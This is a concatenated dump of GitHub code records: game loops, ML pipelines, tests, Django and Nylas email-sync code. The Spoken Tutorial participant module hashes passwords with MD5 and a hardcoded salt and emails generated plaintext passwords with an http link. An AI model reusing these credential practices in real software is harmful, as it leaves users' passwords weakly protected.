sys\r\nfrom pygame.color import THECOLORS\r\n\r\nfrom Interface import Interface\r\n\r\n\r\nclass Main:\r\n def __init__(self):\r\n pygame.init()\r\n self.wid = 800\r\n self.hei = 600\r\n self.screen = pygame.display.set_mode((self.wid, self.hei))\r\n self.interface = Interface()\r\n self.functions = Functions()\r\n self.draw_work = True\r\n\r\n def draw(self):\r\n self.interface.draw(self.screen)\r\n\r\n def start(self):\r\n while True:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n return 0\r\n self.draw()\r\n pygame.display.flip()\r\nmain = Main()\r\nmain.start()","repo_name":"Otafat/Watermelon_clicker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73223921688","text":"import pytest\nimport numpy as np\nfrom mlir_graphblas import utils\n\n\ndef test_pick_and_renumber_indices():\n rows = np.array([0, 0, 1, 1, 1, 1], dtype=np.uint64)\n cols = np.array([1, 2, 0, 1, 2, 3], dtype=np.uint64)\n vals = np.array([1, 2, 6, 7, 8, 9])\n selected = np.array([1, 1, 0, 0, 1])\n rows, cols, vals = utils.pick_and_renumber_indices(selected, rows, cols, vals)\n np.testing.assert_equal(rows, [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 3, 4, 4, 4, 4])\n np.testing.assert_equal(cols, [0, 1, 2, 3, 0, 1, 2, 3, 1, 2, 1, 2, 0, 1, 2, 3])\n np.testing.assert_equal(vals, [6, 7, 8, 9, 6, 7, 8, 9, 1, 2, 1, 2, 6, 7, 8, 9])\n","repo_name":"python-graphblas/python-mlir-graphblas","sub_path":"mlir_graphblas/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15677869348","text":"import pandas as pd\nimport numpy as np\nfrom insurance.component.model_evaluation import ModelEvaluation\nfrom insurance.constant import *\nfrom insurance.exception import InsuranceException\nfrom insurance.util.util import load_object\nfrom insurance.logger import logging\nfrom insurance.entity.artifact_entity import ModelEvaluationArtifact,DataTransformationArtifact,ModelPusherArtifact\n\n\n\nimport os,sys\n\n\n\nclass PredictPipeline:\n def __init__(self):\n pass\n\n def predict(self,features):\n try:\n print(\"Before Loading\")\n model_file_path=r'saved_models\\20230707211336\\model.pkl'\n logging.info(features)\n model=load_object(file_path=model_file_path)\n logging.info('after loading')\n # Convert the input features to a pandas DataFrame with a single sample\n \n preds = model.predict((features))\n return preds\n \n except Exception as e:\n raise InsuranceException(e,sys) from e\n\n\n\nclass CustomData:\n def __init__( self,\n age: int,\n sex: str,\n bmi:int,\n children: int,\n smoker: str,\n region: str):\n\n self.age = age\n\n self.sex = sex\n\n self.bmi =bmi\n\n self.children = children\n\n self.smoker = smoker\n\n self.region = region\n\n \n\n def get_data_as_data_frame(self):\n logging.info('get_data_as_data_frame')\n try:\n custom_data_input_dict = {\n \"age\": [self.age],\n \"sex\": [self.sex],\n \"bmi\": [self.bmi],\n \"children\": [self.children],\n \"smoker\": [self.smoker],\n \"region\": [self.region]\n \n }\n s=pd.DataFrame(custom_data_input_dict)\n logging.info(pd.DataFrame(custom_data_input_dict))\n print(s.head())\n\n return pd.DataFrame(custom_data_input_dict,columns=['age', 'sex', 'bmi', 'children', 'smoker', 'region'])\n\n except Exception as e:\n raise InsuranceException(e, sys) from e","repo_name":"shiva4778/INSURANCE_PREMIUM_PREDICTION_1","sub_path":"insurance/pipeline/predict_pipeline.py","file_name":"predict_pipeline.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40750576727","text":"\n\n# Standard Library\nfrom builtins import str\nfrom builtins import range\nimport csv\nimport hashlib\nimport random\nimport string\n\n# Third Party Stuff\nfrom django.core.mail import EmailMultiAlternatives\nfrom .models import MdlUser\nfrom validate_email import validate_email\n\n# Spoken Tutorial Stuff\nfrom events.models import *\n\n\ndef update_participants_count(training):\n training.participant_count = TrainingAttendance.objects.filter(training=training, status__gte=1).count()\n training.save()\n\n\ndef _is_organiser(user):\n try:\n if user.groups.filter(name='Organiser').count() == 1 and user.organiser and user.organiser.status == 1:\n return True\n except:\n pass\n\n\ndef encript_password(password):\n password = hashlib.md5((password + 'VuilyKd*PmV?D~lO19jL(Hy4V/7T^G>p').encode('utf-8')).hexdigest()\n return password\n\n\ndef create_account(w, firstname, lastname, gender, email, category):\n password_string = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))\n password_encript = encript_password(password_string)\n password = password_encript\n username = email\n mdluser = None\n try:\n mdluser = MdlUser.objects.filter(email=email).first()\n mdluser.institution = w.academic_id\n mdluser.firstname = firstname\n mdluser.lastname = lastname\n mdluser.save()\n except Exception as e:\n mdluser = MdlUser()\n mdluser.auth = 'manual'\n mdluser.firstname = firstname\n mdluser.username = username\n mdluser.lastname = lastname\n mdluser.password = password\n mdluser.institution = w.academic_id\n mdluser.email = email\n mdluser.confirmed = 1\n mdluser.mnethostid = 1\n mdluser.save()\n mdluser = MdlUser.objects.filter(email=email, firstname=firstname, username=username, password=password).first()\n # send password to email\n subject = \"Spoken Tutorial Online Test password\"\n to = [mdluser.email]\n message = '''Hi {0},\n\nYour account password at 'Spoken Tutorials Online Test as follows'\n\nYour current login information is now:\nusername: {1}\npassword: {2}\n\nPlease go to this page to change your password:\n{3}\n\nIn most mail programs, this should appear as a blue link\nwhich you can just click on. If that doesn't work,\nthen cut and paste the address into the address\nline at the top of your web browser window.\n\nCheers from the 'Spoken Tutorials Online Test Center' administrator,\n\nAdmin Spoken Tutorials\n'''.format(mdluser.firstname, mdluser.username, password_string, 'http://onlinetest.spoken-tutorial.org/login/change_password.php')\n\n # send email\n email = EmailMultiAlternatives(\n subject, message, 'administrator@spoken-tutorial.org',\n to=to, bcc=[], cc=[],\n headers={'Reply-To': 'no-replay@spoken-tutorial.org', \"Content-type\": \"text/html;charset=iso-8859-1\"}\n )\n try:\n result = email.send(fail_silently=False)\n except:\n pass\n return mdluser\n\n\ndef get_or_create_participant(w, firstname, lastname, gender, email, category):\n mdluser = None\n # Added category check as zero. Means the call is coming from new student\n # batch upload interface. And category is/was not used.\n if category == 0:\n create_account(w, firstname, lastname, gender, email, category)\n return True\n if w and w.organiser.academic.institution_type.name == 'School' and not email:\n ta = TrainingAttendance()\n ta.status = 1\n ta.training_id = w.id\n ta.firstname = firstname\n ta.lastname = lastname\n ta.gender = gender\n ta.email = email\n ta.save()\n return True\n else:\n mdluser = create_account(w, firstname, lastname, gender, email, category)\n if TrainingAttendance.objects.filter(training_id=w.id, mdluser_id=mdluser.id).exists():\n return True\n ta = TrainingAttendance()\n ta.mdluser_id = mdluser.id\n ta.status = 1\n ta.training_id = w.id\n ta.firstname = mdluser.firstname\n ta.lastname = mdluser.lastname\n ta.gender = gender\n ta.email = mdluser.email\n ta.save()\n return True\n return False\n\n\ndef store_error(error_line_no, count, invalid_emails=None, email=None):\n if not email:\n if not error_line_no:\n error_line_no = error_line_no + str(count)\n else:\n error_line_no = error_line_no + ',' + str(count)\n else:\n if not invalid_emails:\n invalid_emails = invalid_emails + email\n else:\n invalid_emails = invalid_emails + ',
    ' + email\n csv_file_error = 1\n return csv_file_error, error_line_no, invalid_emails\n\n\ndef can_allow_participant_to_attend(more_then_two_per_day_list, tdate, email):\n \"\"\" restrict participating more then 2 training per day \"\"\"\n if tdate:\n tdate = tdate.split(' ')[0]\n training_count = TrainingAttendance.objects.filter(email=email, training__tdate = tdate, training__status__lte=4, status=1).count()\n if training_count < 2:\n return more_then_two_per_day_list\n if not more_then_two_per_day_list:\n more_then_two_per_day_list = more_then_two_per_day_list + email\n else:\n more_then_two_per_day_list = more_then_two_per_day_list + ',
    ' + email\n return more_then_two_per_day_list\n\n\ndef is_new_participant(reattempt_list, foss, email):\n \"\"\" check weather already participated in particular software \"\"\"\n training_count = TrainingAttendance.objects.filter(email=email, training__foss_id=foss, training__status__lte=4,\n status=1).count()\n if training_count == 0:\n return reattempt_list\n if not reattempt_list:\n reattempt_list = reattempt_list + email\n else:\n reattempt_list = reattempt_list + ',
    ' + email\n return reattempt_list\n\n\ndef check_csvfile(user, file_path, w=None, flag=0, **kwargs):\n tdate = None\n foss = None\n if w:\n try:\n tdate = w.tdate.strftime(\"%Y-%m-%d\")\n foss = w.foss_id\n except:\n tdate = w.tdate\n foss = w.foss_id\n if kwargs and 'tdate' in kwargs['form_data'] and 'foss' in kwargs['form_data']:\n tdate = kwargs['form_data']['tdate']\n foss = kwargs['form_data']['foss']\n\n csv_file_error = 0\n error_line_no = ''\n invalid_emails = ''\n reattempt_list = ''\n more_then_two_per_day_list = ''\n with open(file_path, 'rbU') as csvfile:\n count = 0\n csvdata = csv.reader(csvfile, delimiter=',', quotechar='|')\n try:\n for row in csvdata:\n count = count + 1\n try:\n row_length = len(row)\n if row_length < 1:\n continue\n if row_length < 4:\n csv_file_error, error_line_no, invalid_emails = store_error(error_line_no, count, invalid_emails)\n continue\n firstname = row[0].strip().title()\n lastname = row[1].strip().title()\n gender = row[3].strip().title()\n email = row[2].strip().lower()\n if not firstname or not gender or row_length < 4 or ((user.organiser.academic.institution_type.name != 'School' or (w and w.organiser.academic.institution_type.name != 'School')) and not email):\n csv_file_error, error_line_no, invalid_emails = store_error(error_line_no, count, invalid_emails)\n continue\n if row_length > 3 and email:\n if not flag:\n if not validate_email(email, verify=True):\n csv_file_error, error_line_no, invalid_emails = store_error(error_line_no, count, invalid_emails, email)\n continue\n # restrict the participant\n more_then_two_per_day_list = can_allow_participant_to_attend(more_then_two_per_day_list, tdate, email)\n reattempt_list = is_new_participant(reattempt_list, foss, email)\n if flag and flag <= 2 and not csv_file_error:\n if not w:\n return 1, error_line_no\n get_or_create_participant(w, firstname, lastname, gender, email, 2)\n except Exception as e:\n print(e)\n csv_file_error, error_line_no, invalid_emails = store_error(error_line_no, count, invalid_emails)\n if error_line_no:\n error_line_no = \"\"\"\n
    \n \"\"\".format(error_line_no, \"http://process.spoken-tutorial.org/images/c/c2/Participant_data.pdf\")\n except Exception as e:\n csv_file_error = 1\n error_line_no = \"\"\"\n
      \n
    • \n The Line numbers {0} in CSV file data is not in a proper format in the Participant list. The format should be First name, Last name, Email, Gender.
      \n For more details Click here.\n
      \n
    • \n
    \n \"\"\".format(error_line_no, \"http://process.spoken-tutorial.org/images/c/c2/Participant_data.pdf\")\n if invalid_emails:\n error_line_no += \"\"\"\n
      \n
    • \n The participants listed below do not have valid email-ids. Pls create valid email-ids and upload once again.\n
      {0}\n
      \n
    • \n
    \n \"\"\".format(invalid_emails)\n if flag == 3 and int(w.participant_count < count):\n csv_file_error = 1\n error_line_no = \"\"\"\n
      \n
    • \n Training participant count less than {0}.\n
    • \n
    \n \"\"\".format(w.participant_count)\n if more_then_two_per_day_list:\n csv_file_error = 1\n error_line_no += \"\"\"\n
      \n
    • \n The participants listed below have already enrolled for 2 software training workshops on the given date.\n
      \n NOTE: Participants cannot enroll for more than 2 workshops per day. {0}\n
      \n
    • \n
    \n \"\"\".format(more_then_two_per_day_list)\n if reattempt_list:\n if w:\n tps = w.trainingattendance_set.values_list('email')\n for p in tps:\n email = str(p[0])\n reattempt_list = reattempt_list.replace(','+email, '').replace(email+',', '').replace(email, '')\n if reattempt_list:\n csv_file_error = 1\n error_line_no += \"\"\"\n
      \n
    • \n The participants listed below have already attended this software training workshop before.
      {0}
      \n
    • \n
    \n \"\"\".format(reattempt_list)\n return csv_file_error, error_line_no\n\n\ndef clone_participant(training, form_data):\n tdate = None\n foss = None\n if form_data and 'foss' in form_data:\n tdate = form_data['tdate']\n foss = form_data['foss']\n\n csv_file_error = 0\n error_line_no = ''\n invalid_emails = ''\n reattempt_list = ''\n more_then_two_per_day_list = ''\n count = 0\n participants = TrainingAttendance.objects.filter(training=training)\n for row in participants:\n count = count + 1\n email = row.email\n try:\n # restrict the participant\n more_then_two_per_day_list = can_allow_participant_to_attend(more_then_two_per_day_list, tdate, email)\n reattempt_list = is_new_participant(reattempt_list, foss, email)\n except Exception as e:\n print(e)\n\n if more_then_two_per_day_list:\n csv_file_error = 1\n error_line_no += \"\"\"\n
      \n
    • \n The participants listed below have already enrolled for 2 software training workshops on the given date.\n
      \n NOTE: Participants cannot enroll for more than 2 workshops per day. {0}\n
      \n
    • \n
    \n \"\"\".format(more_then_two_per_day_list)\n if reattempt_list:\n csv_file_error = 1\n error_line_no += \"\"\"\n
      \n
    • \n The participants listed below have already attended this software training workshop before.
      {0}
      \n
    • \n
    \n \"\"\".format(reattempt_list)\n return csv_file_error, error_line_no, reattempt_list, more_then_two_per_day_list\n","repo_name":"Spoken-tutorial/spoken-website","sub_path":"mdldjango/get_or_create_participant.py","file_name":"get_or_create_participant.py","file_ext":"py","file_size_in_byte":13418,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"12567739939","text":"from django.urls import path\nfrom .import views\n\napp_name = 'auth_app'\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('register', views.register_method, name= 'register'),\n path('login', views.login_method, name='login'),\n path('logout', views.logout_method, name='logout'),\n path('profile', views.profile_update, name='profile'),\n]\n\n","repo_name":"Kakarotpani/bezen","sub_path":"auth_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15730165637","text":"import unittest\nfrom app import *\nclass TestPredictImage(unittest.TestCase):\n APP_ROOT_FOLDER = os.path.dirname(os.path.abspath(__file__))\n def test_dog_detector(self):\n image1=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"dogImages/train/021.Belgian_sheepdog/Belgian_sheepdog_01492.jpg\"))\n image2=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"dogImages/train/022.Belgian_tervuren/Belgian_tervuren_01563.jpg\"))\n image3=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"lfw/Ben_Howland/Ben_Howland_0001.jpg\"))\n image4=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"lfw/Ben_Howland\"))\n image5=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"test\"))\n \n\n self.assertAlmostEqual(dog_detector(image1),True)\n self.assertAlmostEqual(dog_detector(image2),True)\n self.assertAlmostEqual(dog_detector(image3),False)\n self.assertAlmostEqual(dog_detector(image4),False)\n self.assertAlmostEqual(dog_detector(image5),False)\n def test_face_detector(self):\n image1=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"dogImages/train/021.Belgian_sheepdog/Belgian_sheepdog_01492.jpg\"))\n image2=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"dogImages/train/022.Belgian_tervuren/Belgian_tervuren_01563.jpg\"))\n image3=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"lfw/Ben_Howland/Ben_Howland_0001.jpg\"))\n image4=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"lfw/Ben_Howland\"))\n image5=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"test\"))\n \n\n self.assertAlmostEqual(face_detector(image1),False)\n self.assertAlmostEqual(face_detector(image2),False)\n self.assertAlmostEqual(face_detector(image3),True)\n self.assertAlmostEqual(face_detector(image4),False)\n self.assertAlmostEqual(face_detector(image5),False)\n def test_predictImage(self):\n image1=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"dogImages/train/021.Belgian_sheepdog/Belgian_sheepdog_01492.jpg\"))\n image2=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"dogImages/train/022.Belgian_tervuren/Belgian_tervuren_01563.jpg\"))\n image3=os.path.join(APP_ROOT_FOLDER, '{}'.format(\"lfw/Ben_Howland/Ben_Howland_0001.jpg\"))\n \n model=load_ResNet50Model()\n \n\n _,result=predictImage(image1,model)\n self.assertAlmostEqual(result,\"Belgian_sheepdog\")\n\n _,result=predictImage(image2,model)\n self.assertAlmostEqual(result,\"Belgian_tervuren\")\n\n self.assertRaises(Exception, predictImage,image1,None)\n self.assertRaises(Exception, predictImage,image3,None)\n\n \n \n\n \n\n","repo_name":"SadhanaPaladugu/DogProject","sub_path":"test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12254626463","text":"import pygame, sys\nfrom pygame.locals import *\nfrom spritesheet import SpriteSheet\nfrom config import *\n\n\nclass Crystal:\n def __init__(self, surface, image, rect):\n self.image = image\n self.rect = Rect(rect)\n self.max_health = 1000\n self.health = 1000\n self.__surface = surface\n self.HealthRect = Rect(250, 570, 300, 4)\n self.x = self.rect.x\n self.y = self.rect.y\n self.regen = 0\n def draw(self):\n self.__surface.blit(self.image, self.rect)\n if self.health < self.max_health:\n self.health += self.regen * .01\n #To Do: Draw Health Bar\n pygame.draw.rect(self.__surface, (255,0,0), self.HealthRect)\n ratio = self.health / self.max_health\n gRect = Rect(self.HealthRect)\n gRect.w *= ratio\n pygame.draw.rect(self.__surface, (0,255,0), gRect)\n\n def damage(self, points):\n self.health -= points\n \n \n","repo_name":"Micah0320/The-Crystal-of-Ulumok","sub_path":"game/crystal.py","file_name":"crystal.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"38099441682","text":"# 861.\n# 翻转矩阵后的得分\n#\n# 有一个二维矩阵A其中每个元素的值为0或1 。移动是指选择任一行或列,并转换该行或列中的每一个值:将所有0都更改为1,将所有1都更改为0。\n# 在做出任意次数的移动后,将该矩阵的每一行都按照二进制数来解释,矩阵的得分就是这些数字的总和。返回尽可能高的分数。\n# 示例:\n# 输入:[[0, 0, 1, 1], [1, 0, 1, 0], [1, 1, 0, 0]]\n# 输出:39\n# 解释:转换为[[1, 1, 1, 1], [1, 0, 0, 1], [1, 1, 1, 1]]0b1111 + 0b1001 + 0b1111 = 15 + 9 + 15 = 39\n# 提示:\n# 1 <= A.length <= 20\n# 1 <= A[0].length <= 20 A[i][j]是0或1\n\n\nclass Solution(object):\n def matrixScore(self, A):\n \"\"\"\n :type A: List[List[int]]\n :rtype: int\n \"\"\"\n def change(martrix, row = -1, column = -1):\n if row != -1:\n for i in range(len(martrix[row])):\n if martrix[row][i] == 0:\n martrix[row][i] = 1\n else:\n martrix[row][i] = 0\n if column != -1:\n for i in range(len(martrix)):\n if martrix[i][column] == 0:\n martrix[i][column] = 1\n else:\n martrix[i][column] = 0\n return martrix\n for i in range(len(A)):\n if A[i][0] == 0: # 第i行第0列为0,就改变这行\n A = change(A, i, -1)\n numOfZero, numOfOne = 0, 0\n for i in range(1, len(A[0])):\n numOfZero, numOfOne = 0, 0\n for j in range(0, len(A)):\n if A[j][i] == 0:\n numOfZero += 1\n else:\n numOfOne += 1\n if numOfZero > numOfOne: # 第i列0的个数比1多,就改变这列\n A = change(A, -1, i)\n res = 0\n cur = ''\n for i in range(len(A)):\n cur = ''\n for j in range(len(A[0])):\n cur += str(A[i][j])\n res += int(cur, 2)\n return res\n\n # '''\n # 思路:\n # 可以这样看,n*m的每个格子都具有一个权重,其中每一行权重都自左向右递减,\n # 为使总和最大则尽可能使权重大的格子填“1”。最左边一列权重最大,所以总可以通过\n # 行翻转使左边第一列全都置“1”,后面就不能再使用行翻转了,以免破环当前的结构,\n # 所以考虑列翻转。对于除最左边第一列外的每一列,总可以通过列翻转使得该列“1”\n # 的个数不小于“0”的个数。最后所有填“1”的格子的权重和即为答案。\n # '''\n #\n # class Solution:\n # def matrixScore(self, A: List[List[int]]) -> int:\n # n, m = len(A), len(A[0])\n # for i in range(n):\n # if A[i][0] == 0:\n # for j in range(m):\n # A[i][j] = 1 ^ A[i][j]\n # sum = 0\n # for i in zip(*A):\n # m -= 1\n # sum += 2 ** m * max(i.count(1), i.count(0))\n # return sum","repo_name":"wulalala17/leetcode","sub_path":"leetcode/2020/December/861matrixScore.py","file_name":"861matrixScore.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"31063792411","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.tree import plot_tree\nfrom sklearn.model_selection import train_test_split\nfrom pandas.core.common import SettingWithCopyWarning\nimport warnings \nwarnings.simplefilter(action=\"ignore\", category=SettingWithCopyWarning)\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelEncoder\n\ndef clean_dataset(df):\n assert isinstance(df, pd.DataFrame), \"df needs to be a pd.DataFrame\"\n df.dropna(inplace=True)\n indices_to_keep = ~df.isin([np.nan, np.inf, -np.inf]).any(1)\n return df[indices_to_keep].astype(np.float64)\n\n#read the data from the csv and delete blank spaces on columns names\ndf = pd.read_csv(\"healthcare-dataset-stroke-data.csv\")\ndf = df.drop(columns=['gender','ever_married','Residence_type', 'work_type'])\ndf.colums = df.columns.str.replace(' ','')\n#deleting information where a value is missed\ndf_rows_complete = df.loc[(df['bmi'] != 'N/A')]\n\n\nobj = df_rows_complete['stroke']\nexpl = df_rows_complete.drop(columns='stroke', axis='columns')\n\n\nle_smoking_status = LabelEncoder()\n\n\nexpl['smoking_status_n'] = le_smoking_status.fit_transform(expl['smoking_status'])\n\nexpl_n = expl.drop(columns='smoking_status', axis='columns')\nexpl_n = clean_dataset(expl_n)\nprint(expl_n)\n\nX_train, X_test, y_train, y_test = train_test_split(expl_n, obj, test_size=0.2)\n\nmodel = DecisionTreeRegressor(min_samples_split=2, max_depth=3)\n\nmodel.fit(X_train, y_train)\nmodel.score(X_test, y_test)\n\ntreeFigure = plt.figure(figsize=(150, 155), dpi=42)\n\nex = plot_tree(model, feature_names=expl_n.columns, rounded=True, class_names=[\"No stroke\", \"Stroke\"], filled=False)\n\ntreeFigure.savefig(\"decission.jpg\")\n","repo_name":"scarlosro/AIProject","sub_path":"stroke_pre_fra2.py","file_name":"stroke_pre_fra2.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3847365188","text":"def log_3_vec( drg, var):\n for ii in range(3):\n drg.add_variable(var+\"[\"+str(ii)+\"]\")\n\ndr_group = trick.sim_services.DRAscii(\"V_1_State\")\ndr_group.set_cycle(12)\ndr_group.freq = trick.sim_services.DR_Always\n\nfor veh in [\"vehA\",\"vehB\"]:\n log_3_vec( dr_group, veh+\".ned.ned_state.cart_coords\")\n for coords in [\"sphere\", \"ellip\"]:\n dr_group.add_variable( veh +\".ned.ned_state.\"+coords+\"_coords.altitude\")\n dr_group.add_variable( veh +\".ned.ned_state.\"+coords+\"_coords.latitude\")\n dr_group.add_variable( veh +\".ned.ned_state.\"+coords+\"_coords.longitude\")\n\nlog_3_vec( dr_group, \"rel_state.vehA_wrt_vehB.rel_state.trans.position\")\nlog_3_vec( dr_group, \"rel_state.vehA_wrt_vehB.rel_state.trans.velocity\")\nlog_3_vec( dr_group, \"rel_state.vehB_wrt_vehA.rel_state.trans.position\")\nlog_3_vec( dr_group, \"rel_state.vehB_wrt_vehA.rel_state.trans.velocity\")\nlog_3_vec( dr_group, \"vehA.dyn_body.structure.state.trans.position\")\n\ntrick.add_data_record_group(dr_group)\n","repo_name":"nasa/jeod","sub_path":"models/dynamics/derived_state/verif/SIM_NED/Log_data/log_orbital_state_rec.py","file_name":"log_orbital_state_rec.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"31"} +{"seq_id":"40749358157","text":"# -*- coding: utf-8 -*-\n\n\n# Third Party Stuff\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('creation', '0003_fosssupercategory'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='fosscategory',\n name='category',\n field=models.ManyToManyField(to='creation.FossSuperCategory', null=True),\n ),\n ]\n","repo_name":"Spoken-tutorial/spoken-website","sub_path":"creation/migrations/0004_fosscategory_category.py","file_name":"0004_fosscategory_category.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"11424473624","text":"from datetime import timedelta\nfrom time import mktime\nfrom celery import shared_task\nfrom decouple import config\nfrom django.db import transaction\nfrom django.utils import timezone\nfrom nylas import APIClient\nfrom rest_framework.exceptions import ValidationError\n\nfrom ..models import (\n NylasUserAccount, Thread, Folder, Label, Message, Participant,\n MessageParticipant,\n)\n\n\ndef create_message_participant(message_instance, data: dict, participant_type):\n participant, _ = Participant.objects.get_or_create(\n email=data.get('email'), defaults={'name': data.get('name')}\n )\n MessageParticipant.objects.create(\n message=message_instance,\n participant=participant,\n type=participant_type,\n )\n\n\ndef save_message_by_id(message_id, thread_instance: Thread, nylas):\n \"\"\"\n message.id\n message.account_id\n message.body\n message.date\n message.folder\n message.snippet\n message.starred\n message.subject\n message.thread_id\n message.unread\n message.bcc\n message.cc\n message.from_\n message.to\n\n message.object\n message.files\n message.events\n message.labels\n message.received_at\n \"\"\"\n message = nylas.messages.get(message_id)\n # get or create folder if it exists in message\n if hasattr(message, 'folder') and message.folder:\n message_folder, _ = Folder.objects.get_or_create(\n id=message.folder.id,\n name=message.folder.name,\n account_id=thread_instance.account_id,\n defaults={\n 'display_name': message.folder.display_name,\n })\n else:\n message_folder = None\n\n # save message instance\n message_instance, created = Message.objects.update_or_create(\n id=message.id,\n account_id=thread_instance.account_id,\n defaults=dict(\n body=message.body,\n date=message.date,\n folder=message_folder,\n snippet=message.snippet,\n starred=message.starred,\n subject=message.subject,\n thread_id=thread_instance,\n unread=message.unread,\n reply_to_message_id=message.reply_to_message_id,\n )\n )\n # participant should not change in message; hence only create them if message is created\n if created:\n # create bcc participants\n for bcc in message.bcc:\n create_message_participant(message_instance, bcc, 'bcc')\n # create cc participants\n for cc in message.cc:\n create_message_participant(message_instance, cc, 'cc')\n # create from participants\n for from_ in message.from_:\n create_message_participant(message_instance, from_, 'from')\n # create reply_to participants\n for reply_to in message.reply_to:\n create_message_participant(message_instance, reply_to, 'reply_to')\n # create to participants\n for to in message.to:\n create_message_participant(message_instance, to, 'to')\n\n\ndef save_thread_with_messages(thread, user: NylasUserAccount, nylas):\n \"\"\"\n thread.id\n thread.account_id\n thread.first_message_timestamp\n thread.has_attachments\n thread.last_message_received_timestamp\n thread.last_message_timestamp\n thread.starred\n thread.subject\n thread.unread\n thread.version\n\n thread.message_ids\n thread.labels # Gmail accounts only\n thread.folders # All providers other than Gmail\n\n ### not implemented:\n thread.object\n thread.first_message_at\n thread.snippet\n thread.participants\n thread.draft_ids\n thread.last_message_received_at\n thread.last_message_at\n \"\"\"\n # save thread instance\n thread_instance, created = Thread.objects.update_or_create(\n id=thread.id, account_id=user,\n defaults=dict(\n first_message_timestamp=thread.first_message_timestamp,\n has_attachments=thread.has_attachments,\n last_message_received_timestamp=thread.last_message_received_timestamp,\n last_message_sent_timestamp=thread.last_message_sent_timestamp,\n last_message_timestamp=thread.last_message_timestamp,\n starred=thread.starred,\n subject=thread.subject,\n unread=thread.unread,\n version=thread.version,\n )\n )\n # add many-to-many relationship between thread and folder\n thread_instance.folders.clear()\n for folder in thread.folders:\n # create folder instance if it doesn't exist\n thread_folder, _ = Folder.objects.get_or_create(\n id=folder.id, name=folder.name, account_id=user,\n defaults={'display_name': folder.display_name}\n )\n thread_instance.folders.add(thread_folder)\n\n # add many-to-many relationship between thread and label\n thread_instance.labels.clear()\n for label in thread.labels:\n # create label instance if it doesn't exist\n thread_label, _ = Label.objects.get_or_create(\n id=label.id, name=label.name, account_id=user,\n defaults={'display_name': label.display_name}\n )\n thread_instance.labels.add(thread_label)\n\n # save messages associated with thread\n for message_id in thread.message_ids:\n save_message_by_id(message_id, thread_instance, nylas)\n\n\ndef get_nylas_instance(user_id: str):\n try:\n user = NylasUserAccount.objects.get(id=user_id)\n except NylasUserAccount.DoesNotExist:\n print(f'NylasUserAccount does not exist {user_id}')\n return None, None\n\n try:\n nylas = APIClient(\n config('NYLAS_CLIENT_ID'),\n config('NYLAS_CLIENT_SECRET'),\n user.access_token,\n )\n except Exception as e:\n print(f'Exception Occurred connecting nylas API Client {e}')\n return None, None\n\n return user, nylas\n\n\n@shared_task\ndef sync_nylas_for_user(user_id: str, resync=False):\n user, nylas = get_nylas_instance(user_id)\n if not user or not nylas:\n return\n\n # check of sync status from nylas\n account = nylas.account\n if account.sync_state != 'running':\n print(f'Sync is not running on user {user_id}')\n return\n\n # for thread in nylas.threads.all():\n if resync:\n sync_days = config('LAST_N_DAYS_RESYNC', cast=int)\n else:\n sync_days = config('LAST_N_DAYS_SYNC', cast=int)\n\n sync_after_datetime = timezone.now() - timedelta(days=sync_days)\n after_timestamp = int(mktime(sync_after_datetime.timetuple()))\n for thread in nylas.threads.where(last_message_after=after_timestamp):\n # saving with atomic transaction so\n # the overhead of saving is minimal\n with transaction.atomic():\n save_thread_with_messages(thread, user, nylas)\n\n\n@shared_task\ndef update_thread_from_webhook_delta(account_id: str, thread_id: str):\n print(f'Updating thread {thread_id} for account {account_id}')\n user, nylas = get_nylas_instance(account_id)\n if not user or not nylas:\n return\n\n thread = nylas.threads.get(thread_id)\n with transaction.atomic():\n save_thread_with_messages(thread, user, 